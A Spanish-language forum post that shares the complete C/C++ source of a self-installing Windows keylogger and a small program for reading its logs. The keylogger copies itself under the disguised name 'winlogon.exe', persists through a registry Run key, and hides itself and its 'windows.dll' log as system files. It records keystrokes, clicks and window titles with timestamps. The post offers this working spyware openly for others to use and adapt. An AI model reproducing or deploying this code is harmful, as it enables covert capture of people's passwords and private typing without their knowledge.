vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.
perdon el desorden
.
aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE PARA WINDOWS VISTA O POSTERIOR descomentar nunca probe esta parte del code talves se necesiten ligeras modificaciones adicionales
leer logs.cpp
esta algo desordenado.
perdon el desorden

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE PARA WINDOWS VISTA O POSTERIOR descomentar nunca probe esta parte del code talves se necesiten ligeras modificaciones adicionales
Código (c) [Seleccionar]
/*
char *instaladooo;
instaladooo=getenv("USERPROFILE");
SetCurrentDirectory(instaladooo);
*/
Código (c) [Seleccionar]
#include <cstring>
#include <windows.h>
#include <fstream>
#include <ctime>
using namespace std;
int main ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( "windows.dll" );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal = getenv ( "HOMEPATH" );
discolocal = getenv ( "SystemDrive" );
strcpy ( archivo,discolocal );
strcat ( archivo,dirinstal );
//se crea el archivo log
ofstream logos;
char winlog [70];
strcpy ( winlog, archivo );
strcat ( winlog, "\\windows.dll" );
logos.open ( winlog, ios::out | ios::app );
logos.close ();
//-------
strcat ( archivo, "\\winlogon.exe" );
// se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, "windout", 0, REG_SZ,
(const unsigned char * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return 0;
}
logc.close();
// abre el archivo log
/*
char *instalado
instalado=getenv("USERPROFILE");
SetCurrentDirectory(instalado)
*/
ofstream log;
log.open ( "windows.dll", ios::out | ios::app );
while ( true )
{
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
log << " ";
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
log << "[click-izq]";
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
log << "[click-der]";
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
log << "[backspace]";
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
log << ".";
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
log << ",";
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
log << "[enter]";
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
log << "[left]";
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
log << "[up]";
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
log << "[right]";
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
log << "[down]";
}
if(GetAsyncKeyState(9) == -32767)
{
log << "[tab]";
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarablews de cambio de ventana
if ( strcmp ( ventana, venta2 ) != 0 )
{
//ventana a comparar
char key[]= "lolwinlogonlol";
// sera el nombre de la ventana que cierre el proceso
if ( strcmp ( ventana,key )== 0 )
{
log.close ();
return 0;
}
//calcular la fecha
time_t tiempo = time (0);
struct tm *tlocal = localtime (&tiempo);
char output[128];
strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
//--------------------
log << endl << "-------------------------" << endl;
log << "fecha:" << output << endl;
log << endl << "ventana:"<< venta2 << endl;
}
}
return 0;
}
leer logs.cpp
Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
#include <windows.h>
using namespace std;
int main()
{
char direccion[70]="notepad \"";
char *disco;
char *varsis;
SetConsoleTitle("lolwinlogonlol");
cout << "espere mientras se abre el archivo:" << endl;
varsis=getenv("HOMEPATH");
disco=getenv("SystemDrive");
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
system(direccion);
cout << "lol" ;
return 0;
}